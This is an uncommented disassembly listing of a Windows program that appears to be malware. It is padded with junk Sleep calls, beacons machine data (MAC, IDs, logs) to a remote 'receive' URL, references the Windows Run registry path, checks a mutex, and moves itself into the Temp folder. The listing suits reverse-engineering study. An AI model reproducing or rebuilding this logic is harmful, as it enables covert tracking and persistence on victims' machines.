call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2ee8]
add eax, 0xb4
mov dword [ebp - 0x2ee8], eax
push 0
push 1
push 0x435780
push 0x435784
lea ecx, [ebp - 0x6f8]
push ecx
push 0x435788
push closesocket
call fcn.00403aa0
add esp, 0x1c
mov dword [ebp - 0x2eec], 0xd7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2eec]
add edx, 0x90
mov dword [ebp - 0x2eec], edx
mov dword [ebp - 0x2ef0], 0xd7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2ef0]
add eax, 0x90
mov dword [ebp - 0x2ef0], eax
mov dword [ebp - 0x2ef4], 0xd7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2ef4]
add ecx, 0x90
mov dword [ebp - 0x2ef4], ecx
mov dword [ebp - 0x2ef8], 0xd7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2ef8]
add edx, 0x90
mov dword [ebp - 0x2ef8], edx
mov dword [ebp - 0x2efc], 0xd7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2efc]
add eax, 0x90
mov dword [ebp - 0x2efc], eax
mov dword [ebp - 0x2f00], 0xd7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2f00]
add ecx, 0x90
mov dword [ebp - 0x2f00], ecx
mov dword [ebp - 0x2f04], 0xd7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2f04]
add edx, 0x90
mov dword [ebp - 0x2f04], edx
mov dword [ebp - 0x2f08], 0xd7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2f08]
add eax, 0x90
mov dword [ebp - 0x2f08], eax
mov dword [ebp - 0x2f0c], 0xd7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2f0c]
add ecx, 0x90
mov dword [ebp - 0x2f0c], ecx
push 0
push 1
lea edx, [ebp - 0x688]
push edx
lea eax, [ebp - 0x2028]
push eax
push 0x435794
push 0x435798
push closesocket
call fcn.00403aa0
add esp, 0x1c
mov dword [ebp - 0x2f10], 0xe1
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2f10]
add ecx, 0x65
mov dword [ebp - 0x2f10], ecx
mov dword [ebp - 0x2f14], 0xe1
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2f14]
add edx, 0x65
mov dword [ebp - 0x2f14], edx
mov dword [ebp - 0x2f18], 0xe1
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2f18]
add eax, 0x65
mov dword [ebp - 0x2f18], eax
mov dword [ebp - 0x2f1c], 0xe1
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2f1c]
add ecx, 0x65
mov dword [ebp - 0x2f1c], ecx
push 0
push 1
lea edx, [ebp - 0x688]
push edx
lea eax, [ebp - 0x2028]
push eax
push 0x4357c4
push str.SoftwareMicrosoftWindowsCurrentVersion
push closesocket
call fcn.00403aa0
add esp, 0x1c
lea ecx, [ebp - 0x2028]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40a919
cmp dword [ebp - 0x700], 1
jne 0x40a919
fld dword [0x436140]
fstp dword [ebp - 0x2f20]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2f20]
fadd qword [0x435f58]
fstp dword [ebp - 0x2f20]
fld dword [0x436140]
fstp dword [ebp - 0x2f24]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2f24]
fadd qword [0x435f58]
fstp dword [ebp - 0x2f24]
fld dword [0x436140]
fstp dword [ebp - 0x2f28]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2f28]
fadd qword [0x435f58]
fstp dword [ebp - 0x2f28]
fld dword [0x436140]
fstp dword [ebp - 0x2f2c]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2f2c]
fadd qword [0x435f58]
fstp dword [ebp - 0x2f2c]
fld dword [0x436140]
fstp dword [ebp - 0x2f30]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2f30]
fadd qword [0x435f58]
fstp dword [ebp - 0x2f30]
mov edx, dword [ebp - 0x2140]
push edx
push 0x43e678
push 0x4357f4
push 0x4357fc
lea eax, [ebp - 0x22c0]
push eax
push str.http:__p2._s_receive_r_autoidcnt.asp_mer_seq_srealid_smac_slogdataMacTryCnt:_d
lea ecx, [ebp - 0x1bf8]
push ecx
call fcn.0041020b
add esp, 0x1c
mov byte [ebp - 0x2f31], 0xd3
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2f31]
add edx, 0xfa
mov byte [ebp - 0x2f31], dl
mov byte [ebp - 0x2f32], 0xd3
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2f32]
add eax, 0xfa
mov byte [ebp - 0x2f32], al
mov byte [ebp - 0x2f33], 0xd3
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2f33]
add ecx, 0xfa
mov byte [ebp - 0x2f33], cl
mov byte [ebp - 0x2f34], 0xd3
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2f34]
add edx, 0xfa
mov byte [ebp - 0x2f34], dl
mov byte [ebp - 0x2f35], 0xd3
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2f35]
add eax, 0xfa
mov byte [ebp - 0x2f35], al
mov dword [ebp - 0x61c], 0
jmp 0x40a7e2
mov ecx, dword [ebp - 0x61c]
add ecx, 1
mov dword [ebp - 0x61c], ecx
cmp dword [ebp - 0x61c], 1
jge 0x40a81f
push 0xf4240
push 0x7a120
push 1
lea edx, [ebp - 0x618]
push edx
lea eax, [ebp - 0x1e8]
push eax
push 0
lea ecx, [ebp - 0x1bf8]
push ecx
call fcn.00401260
add esp, 0x1c
cmp eax, 1
jne 0x40a81d
jmp 0x40a81f
jmp 0x40a7d3
mov dword [ebp - 0x2f3c], 0x15
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2f3c]
add edx, 0xb0
mov dword [ebp - 0x2f3c], edx
mov dword [ebp - 0x2f40], 0x15
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2f40]
add eax, 0xb0
mov dword [ebp - 0x2f40], eax
mov dword [ebp - 0x2f44], 0x15
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2f44]
add ecx, 0xb0
mov dword [ebp - 0x2f44], ecx
mov dword [ebp - 0x2f48], 0x15
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2f48]
add edx, 0xb0
mov dword [ebp - 0x2f48], edx
mov dword [ebp - 0x2f4c], 0x15
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2f4c]
add eax, 0xb0
mov dword [ebp - 0x2f4c], eax
mov dword [ebp - 0x2f50], 0x15
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2f50]
add ecx, 0xb0
mov dword [ebp - 0x2f50], ecx
mov dword [ebp - 0x2f54], 0x15
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2f54]
add edx, 0xb0
mov dword [ebp - 0x2f54], edx
cmp dword [ebp - 0x700], 0
jne 0x40acce
fld dword [0x435f50]
fstp dword [ebp - 0x2f58]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2f58]
fadd qword [0x435f48]
fstp dword [ebp - 0x2f58]
fld dword [0x435f50]
fstp dword [ebp - 0x2f5c]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2f5c]
fadd qword [0x435f48]
fstp dword [ebp - 0x2f5c]
fld dword [0x435f50]
fstp dword [ebp - 0x2f60]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2f60]
fadd qword [0x435f48]
fstp dword [ebp - 0x2f60]
fld dword [0x435f50]
fstp dword [ebp - 0x2f64]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2f64]
fadd qword [0x435f48]
fstp dword [ebp - 0x2f64]
fld dword [0x435f50]
fstp dword [ebp - 0x2f68]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2f68]
fadd qword [0x435f48]
fstp dword [ebp - 0x2f68]
fld dword [0x435f50]
fstp dword [ebp - 0x2f6c]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2f6c]
fadd qword [0x435f48]
fstp dword [ebp - 0x2f6c]
fld dword [0x435f50]
fstp dword [ebp - 0x2f70]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2f70]
fadd qword [0x435f48]
fstp dword [ebp - 0x2f70]
mov eax, dword [ebp - 0x2140]
push eax
push 0x43e678
push 0x435858
push 0x435860
lea ecx, [ebp - 0x22c0]
push ecx
push 0x435868
lea edx, [ebp - 0x1bf8]
push edx
call fcn.0041020b
add esp, 0x1c
mov byte [ebp - 0x2f71], 0x27
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2f71]
add eax, 0x14
mov byte [ebp - 0x2f71], al
mov byte [ebp - 0x2f72], 0x27
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2f72]
add ecx, 0x14
mov byte [ebp - 0x2f72], cl
mov byte [ebp - 0x2f73], 0x27
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2f73]
add edx, 0x14
mov byte [ebp - 0x2f73], dl
mov byte [ebp - 0x2f74], 0x27
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2f74]
add eax, 0x14
mov byte [ebp - 0x2f74], al
mov byte [ebp - 0x2f75], 0x27
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2f75]
add ecx, 0x14
mov byte [ebp - 0x2f75], cl
mov byte [ebp - 0x2f76], 0x27
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2f76]
add edx, 0x14
mov byte [ebp - 0x2f76], dl
mov byte [ebp - 0x2f77], 0x27
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2f77]
add eax, 0x14
mov byte [ebp - 0x2f77], al
mov byte [ebp - 0x2f78], 0x27
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2f78]
add ecx, 0x14
mov byte [ebp - 0x2f78], cl
mov dword [ebp - 0x61c], 0
jmp 0x40ab74
mov edx, dword [ebp - 0x61c]
add edx, 1
mov dword [ebp - 0x61c], edx
cmp dword [ebp - 0x61c], 1
jge 0x40abb1
push 0xf4240
push 0x7a120
push 1
lea eax, [ebp - 0x618]
push eax
lea ecx, [ebp - 0x1e8]
push ecx
push 0
lea edx, [ebp - 0x1bf8]
push edx
call fcn.00401260
add esp, 0x1c
cmp eax, 1
jne 0x40abaf
jmp 0x40abb1
jmp 0x40ab65
mov dword [ebp - 0x2f7c], 0x63
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2f7c]
add eax, 0xcb
mov dword [ebp - 0x2f7c], eax
mov dword [ebp - 0x2f80], 0x63
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2f80]
add ecx, 0xcb
mov dword [ebp - 0x2f80], ecx
mov dword [ebp - 0x2f84], 0x63
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2f84]
add edx, 0xcb
mov dword [ebp - 0x2f84], edx
mov dword [ebp - 0x2f88], 0x63
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2f88]
add eax, 0xcb
mov dword [ebp - 0x2f88], eax
mov dword [ebp - 0x2f8c], 0x63
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2f8c]
add ecx, 0xcb
mov dword [ebp - 0x2f8c], ecx
mov dword [ebp - 0x2f90], 0x63
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2f90]
add edx, 0xcb
mov dword [ebp - 0x2f90], edx
mov dword [ebp - 0x2f94], 0x63
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2f94]
add eax, 0xcb
mov dword [ebp - 0x2f94], eax
mov dword [ebp - 0x2f98], 0x63
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2f98]
add ecx, 0xcb
mov dword [ebp - 0x2f98], ecx
jmp 0x40b424
push 0x64
lea edx, [ebp - 0x1bf8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
fld dword [0x435f40]
fstp dword [ebp - 0x2f9c]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2f9c]
fadd qword [0x435e10]
fstp dword [ebp - 0x2f9c]
push 0x4358cc
lea eax, [ebp - 0x1bf8]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push eax
call fcn.00432364
add esp, 8
test eax, eax
je 0x40ae3d
mov byte [ebp - 0x2f9d], 0x5f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2f9d]
add ecx, 0xbd
mov byte [ebp - 0x2f9d], cl
mov byte [ebp - 0x2f9e], 0x5f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2f9e]
add edx, 0xbd
mov byte [ebp - 0x2f9e], dl
mov byte [ebp - 0x2f9f], 0x5f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2f9f]
add eax, 0xbd
mov byte [ebp - 0x2f9f], al
mov byte [ebp - 0x2fa0], 0x5f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2fa0]
add ecx, 0xbd
mov byte [ebp - 0x2fa0], cl
mov edx, dword [ebp - 0x2140]
push edx
push 0x43e678
push 0x4358d8
push 0x4358e0
lea eax, [ebp - 0x22c0]
push eax
push str.http:__p2._s_receive_r_autoidcnt.asp_mer_seq_srealid_scnt_typee2mac_slogdataMacTryCnt:_d
lea ecx, [ebp - 0x1bf8]
push ecx
call fcn.0041020b
add esp, 0x1c
mov dword [ebp - 0x61c], 0
jmp 0x40ae00
mov edx, dword [ebp - 0x61c]
add edx, 1
mov dword [ebp - 0x61c], edx
cmp dword [ebp - 0x61c], 1
jge 0x40ae3d
push 0xf4240
push 0x7a120
push 1
lea eax, [ebp - 0x618]
push eax
lea ecx, [ebp - 0x1e8]
push ecx
push 0
lea edx, [ebp - 0x1bf8]
push edx
call fcn.00401260
add esp, 0x1c
cmp eax, 1
jne 0x40ae3b
jmp 0x40ae3d
jmp 0x40adf1
mov dword [ebp - 0x2fa4], 0x3e
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2fa4]
add eax, 0xba
mov dword [ebp - 0x2fa4], eax
mov dword [ebp - 0x2fa8], 0x3e
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2fa8]
add ecx, 0xba
mov dword [ebp - 0x2fa8], ecx
mov dword [ebp - 0x2fac], 0x3e
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2fac]
add edx, 0xba
mov dword [ebp - 0x2fac], edx
mov dword [ebp - 0x2fb0], 0x3e
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2fb0]
add eax, 0xba
mov dword [ebp - 0x2fb0], eax
push 0x64
lea ecx, [ebp - 0x1bf8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
fld dword [0x435f3c]
fstp dword [ebp - 0x2fb4]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2fb4]
fadd qword [0x436110]
fstp dword [ebp - 0x2fb4]
fld dword [0x435f3c]
fstp dword [ebp - 0x2fb8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2fb8]
fadd qword [0x436110]
fstp dword [ebp - 0x2fb8]
fld dword [0x435f3c]
fstp dword [ebp - 0x2fbc]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2fbc]
fadd qword [0x436110]
fstp dword [ebp - 0x2fbc]
fld dword [0x435f3c]
fstp dword [ebp - 0x2fc0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2fc0]
fadd qword [0x436110]
fstp dword [ebp - 0x2fc0]
fld dword [0x435f3c]
fstp dword [ebp - 0x2fc4]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2fc4]
fadd qword [0x436110]
fstp dword [ebp - 0x2fc4]
fld dword [0x435f3c]
fstp dword [ebp - 0x2fc8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2fc8]
fadd qword [0x436110]
fstp dword [ebp - 0x2fc8]
push 0x43594c
lea edx, [ebp - 0x1bf8]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push eax
call fcn.00432364
add esp, 8
test eax, eax
je 0x40b424
push 0x104
lea eax, [ebp - 0x1bf8]
push eax
push str._Temp_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
fld dword [0x435f38]
fstp dword [ebp - 0x2fcc]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2fcc]
fadd qword [0x435f30]
fstp dword [ebp - 0x2fcc]
fld dword [0x435f38]
fstp dword [ebp - 0x2fd0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2fd0]
fadd qword [0x435f30]
fstp dword [ebp - 0x2fd0]
fld dword [0x435f38]
fstp dword [ebp - 0x2fd4]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2fd4]
fadd qword [0x435f30]
fstp dword [ebp - 0x2fd4]
fld dword [0x435f38]
fstp dword [ebp - 0x2fd8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2fd8]
fadd qword [0x435f30]
fstp dword [ebp - 0x2fd8]
fld dword [0x435f38]
fstp dword [ebp - 0x2fdc]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2fdc]
fadd qword [0x435f30]
fstp dword [ebp - 0x2fdc]
fld dword [0x435f38]
fstp dword [ebp - 0x2fe0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2fe0]
fadd qword [0x435f30]
fstp dword [ebp - 0x2fe0]
fld dword [0x435f38]
fstp dword [ebp - 0x2fe4]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2fe4]
fadd qword [0x435f30]
fstp dword [ebp - 0x2fe4]
fld dword [0x435f38]
fstp dword [ebp - 0x2fe8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2fe8]
fadd qword [0x435f30]
fstp dword [ebp - 0x2fe8]
push 0x457
lea ecx, [ebp - 0x1bf8]
push ecx
push str._s_d
lea edx, [ebp - 0x2028]
push edx
call fcn.0041020b
add esp, 0x10
mov byte [ebp - 0x2fe9], 0x97
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2fe9]
add eax, 0x4c
mov byte [ebp - 0x2fe9], al
mov byte [ebp - 0x2fea], 0x97
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2fea]
add ecx, 0x4c
mov byte [ebp - 0x2fea], cl
mov byte [ebp - 0x2feb], 0x97
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2feb]
add edx, 0x4c
mov byte [ebp - 0x2feb], dl
mov byte [ebp - 0x2fec], 0x97
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2fec]
add eax, 0x4c
mov byte [ebp - 0x2fec], al
mov byte [ebp - 0x2fed], 0x97
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2fed]
add ecx, 0x4c
mov byte [ebp - 0x2fed], cl
mov byte [ebp - 0x2fee], 0x97
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2fee]
add edx, 0x4c
mov byte [ebp - 0x2fee], dl
push 0x64
lea eax, [ebp - 0x1bf8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov byte [ebp - 0x2fef], 0x26
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2fef]
add ecx, 0x3f
mov byte [ebp - 0x2fef], cl
mov byte [ebp - 0x2ff0], 0x26
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2ff0]
add edx, 0x3f
mov byte [ebp - 0x2ff0], dl
mov byte [ebp - 0x2ff1], 0x26
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2ff1]
add eax, 0x3f
mov byte [ebp - 0x2ff1], al
lea ecx, [ebp - 0x2028]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov byte [ebp - 0x2ff2], 0xa1
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2ff2]
add edx, 0xb0
mov byte [ebp - 0x2ff2], dl
mov byte [ebp - 0x2ff3], 0xa1
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2ff3]
add eax, 0xb0
mov byte [ebp - 0x2ff3], al
mov byte [ebp - 0x2ff4], 0xa1
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2ff4]
add ecx, 0xb0
mov byte [ebp - 0x2ff4], cl
mov byte [ebp - 0x2ff5], 0xa1
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2ff5]
add edx, 0xb0
mov byte [ebp - 0x2ff5], dl
mov byte [ebp - 0x2ff6], 0xa1
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2ff6]
add eax, 0xb0
mov byte [ebp - 0x2ff6], al
mov byte [ebp - 0x2ff7], 0xa1
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2ff7]
add ecx, 0xb0
mov byte [ebp - 0x2ff7], cl
mov byte [ebp - 0x2ff8], 0xa1
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2ff8]
add edx, 0xb0
mov byte [ebp - 0x2ff8], dl
lea eax, [ebp - 0x2028]
push eax
lea ecx, [ebp - 0x1bf8]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov byte [ebp - 0x2ff9], 5
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2ff9]
add edx, 0xe
mov byte [ebp - 0x2ff9], dl
mov byte [ebp - 0x2ffa], 5
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2ffa]
add eax, 0xe
mov byte [ebp - 0x2ffa], al
mov byte [ebp - 0x2ffb], 5
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2ffb]
add ecx, 0xe
mov byte [ebp - 0x2ffb], cl
mov byte [ebp - 0x2ffc], 5
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2ffc]
add edx, 0xe
mov byte [ebp - 0x2ffc], dl
mov byte [ebp - 0x2ffd], 5
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2ffd]
add eax, 0xe
mov byte [ebp - 0x2ffd], al
mov eax, 1
jmp 0x40d993
mov byte [ebp - 0x2ffe], 0x3b
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2ffe]
add ecx, 0x21
mov byte [ebp - 0x2ffe], cl
mov byte [ebp - 0x2fff], 0x3b
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2fff]
add edx, 0x21
mov byte [ebp - 0x2fff], dl
push 0x64
lea eax, [ebp - 0x1bf8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str.erzk.exe
lea ecx, [ebp - 0x1bf8]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push eax
call fcn.00432364
add esp, 8
test eax, eax
je 0x40b49c
mov eax, 1
jmp 0x40d993
lea edx, [ebp - 0x6f8]
push edx
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x40b4c8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40b4c8
mov eax, 1
jmp 0x40d993
fld dword [0x435f28]
fstp dword [ebp - 0x3004]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x3004]
fadd qword [0x435d98]
fstp dword [ebp - 0x3004]
fld dword [0x435f28]
fstp dword [ebp - 0x3008]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x3008]
fadd qword [0x435d98]
fstp dword [ebp - 0x3008]
fld dword [0x435f28]
fstp dword [ebp - 0x300c]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x300c]
fadd qword [0x435d98]
fstp dword [ebp - 0x300c]
fld dword [0x435f28]
fstp dword [ebp - 0x3010]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x3010]
fadd qword [0x435d98]
fstp dword [ebp - 0x3010]
fld dword [0x435f28]
fstp dword [ebp - 0x3014]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x3014]
fadd qword [0x435d98]
fstp dword [ebp - 0x3014]
mov dword [ebp - 0x3018], 0xbb
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x3018]
add eax, 0x22
mov dword [ebp - 0x3018], eax
mov dword [ebp - 0x301c], 0xbb
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x301c]
add ecx, 0x22
mov dword [ebp - 0x301c], ecx
mov dword [ebp - 0x3020], 0xbb
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x3020]
add edx, 0x22
mov dword [ebp - 0x3020], edx
mov dword [ebp - 0x3024], 0xbb
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x3024]
add eax, 0x22
mov dword [ebp - 0x3024], eax
mov dword [ebp - 0x1f1c], 0
mov dword [ebp - 0x3028], 0x73
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x3028]
add ecx, 0xb5
mov dword [ebp - 0x3028], ecx
mov dword [ebp - 0x302c], 0x73
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x302c]
add edx, 0xb5
mov dword [ebp - 0x302c], edx
mov dword [ebp - 0x3030], 0x73
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x3030]
add eax, 0xb5
mov dword [ebp - 0x3030], eax
mov dword [ebp - 0x3034], 0x73
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x3034]
add ecx, 0xb5
mov dword [ebp - 0x3034], ecx
mov dword [ebp - 0x3038], 0x73
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x3038]
add edx, 0xb5
mov dword [ebp - 0x3038], edx
mov dword [ebp - 0x303c], 0x73
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x303c]
add eax, 0xb5
mov dword [ebp - 0x303c], eax
mov dword [ebp - 0x3040], 0x73
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x3040]
add ecx, 0xb5
mov dword [ebp - 0x3040], ecx
mov dword [ebp - 0x3044], 0x73
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x3044]
add edx, 0xb5
mov dword [ebp - 0x3044], edx
fld dword [0x435cf0]
fstp dword [ebp - 0x3048]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x3048]
fadd qword [0x435dd8]
fstp dword [ebp - 0x3048]
fld dword [0x435cf0]
fstp dword [ebp - 0x304c]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x304c]
